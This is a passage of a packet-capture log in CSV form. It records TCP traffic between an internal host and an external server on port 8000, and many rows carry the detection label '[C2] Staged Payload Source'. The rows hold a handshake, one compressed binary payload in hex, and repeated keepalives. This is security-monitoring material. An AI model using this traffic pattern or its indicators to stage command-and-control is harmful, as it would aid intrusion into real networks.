{\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45591, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15848, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548674, \"\"ack\"\": 958171292, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6489, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:15:38.804814,1286,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=132548674 Ack=958171292,bc24112907bbbc2411360d0c080045000028b218400080063de70a98980bc0a3a789fa751f4007e68842391c889c5011201419580000,\".$.)...$.6\n...E..(..@...=.\n........u.@...B9...P. ..X..\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45592, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15847, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548674, \"\"ack\"\": 958171292, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6488, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:15:38.804833,1287,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171292 Ack=132548675,bc2411360d0cbc24112907bb0800450000280000400040063000c0a3a7890a98980b1f40fa75391c889c07e688435010003f392d0000,\".$.6\n..$.)....E..(..@.@.0.....\n....@.u9......CP..?9-..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12288, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171292, \"\"ack\"\": 132548675, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 14637, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:15:42.832027,1288,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=3063512821 Ack=0,bc24112907bbbc2411360d0c080045000034b219400080063dda0a98980bc0a3a789fa761f40b6997ef5000000008002faf01a090000020405b40103030801010402,\".$.)...$.6\n...E..4..@...=.\n........v.@..~..........\t..............\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45593, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15834, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512821, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 6665, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-01 09:15:42.832079,1289,TCP 192.163.167.137:8000 -> 10.152.152.11:64118,192.163.167.137,10.152.152.11,8000,64118,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2959110022 Ack=3063512822,bc2411360d0cbc24112907bb0800450000340000400040062ff4c0a3a7890a98980b1f40fa76b0606f86b6997ef68012faf00af70000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@./.....\n....@.v.`o...~.....\n..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12276, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64118, \"\"seq\"\": 2959110022, \"\"ack\"\": 3063512822, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-01 09:15:42.832331,1290,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3063512822 Ack=2959110023,bc24112907bbbc2411360d0c080045000028b21a400080063de50a98980bc0a3a789fa761f40b6997ef6b0606f875010201415c10000,\".$.)...$.6\n...E..(..@...=.\n........v.@..~..`o.P. .....\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45594, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15845, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512822, \"\"ack\"\": 2959110023, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 5569, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:15:42.847263,1291,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=3063512822 Ack=2959110023,bc24112907bbbc2411360d0c0800450000c9b21b400080063d430a98980bc0a3a789fa761f40b6997ef6b0606f87501820145ede00009d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91d37183c7476228350f005fb8ad29,\"........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq..\t...M.w5.\n_.`....=w..........W.~...z].m..q..Gb(5.._..)\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 201, \"\"id\"\": 45595, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15683, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512822, \"\"ack\"\": 2959110023, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 24286, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91d37183c7476228350f005fb8ad29\"\"}}]\"\n2026-07-01 09:15:42.847289,1292,TCP 192.163.167.137:8000 -> 10.152.152.11:64118,192.163.167.137,10.152.152.11,8000,64118,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2959110023 Ack=3063512983,bc2411360d0cbc24112907bb080045000028286a400040060796c0a3a7890a98980b1f40fa76b0606f87b6997f975010003f0aeb0000,\".$.6\n..$.)....E..((j@.@.......\n....@.v.`o.....P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10346, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1942, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64118, \"\"seq\"\": 2959110023, \"\"ack\"\": 3063512983, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:15:43.860832,1293,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3063512982 Ack=2959110023,bc24112907bbbc2411360d0c080045000029b21c400080063de20a98980bc0a3a789fa761f40b6997f96b0606f87501020141520000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45596, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15842, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512982, \"\"ack\"\": 2959110023, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 5408, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:43.860850,1294,TCP 192.163.167.137:8000 -> 10.152.152.11:64118,192.163.167.137,10.152.152.11,8000,64118,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2959110023 Ack=3063512983,bc2411360d0cbc24112907bb080045000034286b400040060789c0a3a7890a98980b1f40fa76b0606f87b6997f978010003f0af700000101050ab6997f96b6997f97,\".$.6\n..$.)....E..4(k@.@.......\n....@.v.`o........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10347, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1929, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64118, \"\"seq\"\": 2959110023, \"\"ack\"\": 3063512983, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3063512982, 3063512983))]\"\"}}]\"\n2026-07-01 09:15:44.876546,1295,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3063512982 Ack=2959110023,bc24112907bbbc2411360d0c080045000029b21d400080063de10a98980bc0a3a789fa761f40b6997f96b0606f87501020141520000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45597, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15841, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512982, \"\"ack\"\": 2959110023, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 5408, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:44.876577,1296,TCP 192.163.167.137:8000 -> 10.152.152.11:64118,192.163.167.137,10.152.152.11,8000,64118,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2959110023 Ack=3063512983,bc2411360d0cbc24112907bb080045000034286c400040060788c0a3a7890a98980b1f40fa76b0606f87b6997f978010003f0af700000101050ab6997f96b6997f97,\".$.6\n..$.)....E..4(l@.@.......\n....@.v.`o........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10348, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1928, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64118, \"\"seq\"\": 2959110023, \"\"ack\"\": 3063512983, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3063512982, 3063512983))]\"\"}}]\"\n2026-07-01 09:15:45.892149,1297,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3063512982 Ack=2959110023,bc24112907bbbc2411360d0c080045000029b21e400080063de00a98980bc0a3a789fa761f40b6997f96b0606f87501020141520000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45598, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15840, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512982, \"\"ack\"\": 2959110023, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 5408, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:45.892177,1298,TCP 192.163.167.137:8000 -> 10.152.152.11:64118,192.163.167.137,10.152.152.11,8000,64118,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2959110023 Ack=3063512983,bc2411360d0cbc24112907bb080045000034286d400040060787c0a3a7890a98980b1f40fa76b0606f87b6997f978010003f0af700000101050ab6997f96b6997f97,\".$.6\n..$.)....E..4(m@.@.......\n....@.v.`o........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10349, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1927, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64118, \"\"seq\"\": 2959110023, \"\"ack\"\": 3063512983, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3063512982, 3063512983))]\"\"}}]\"\n2026-07-01 09:15:46.907856,1299,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3063512982 Ack=2959110023,bc24112907bbbc2411360d0c080045000029b21f400080063ddf0a98980bc0a3a789fa761f40b6997f96b0606f87501020141520000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45599, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15839, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512982, \"\"ack\"\": 2959110023, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 5408, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:46.907877,1300,TCP 192.163.167.137:8000 -> 10.152.152.11:64118,192.163.167.137,10.152.152.11,8000,64118,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2959110023 Ack=3063512983,bc2411360d0cbc24112907bb080045000034286e400040060786c0a3a7890a98980b1f40fa76b0606f87b6997f978010003f0af700000101050ab6997f96b6997f97,\".$.6\n..$.)....E..4(n@.@.......\n....@.v.`o........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10350, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1926, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64118, \"\"seq\"\": 2959110023, \"\"ack\"\": 3063512983, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3063512982, 3063512983))]\"\"}}]\"\n2026-07-01 09:15:47.923513,1301,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3063512982 Ack=2959110023,bc24112907bbbc2411360d0c080045000029b220400080063dde0a98980bc0a3a789fa761f40b6997f96b0606f87501020141520000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45600, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15838, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512982, \"\"ack\"\": 2959110023, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 5408, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 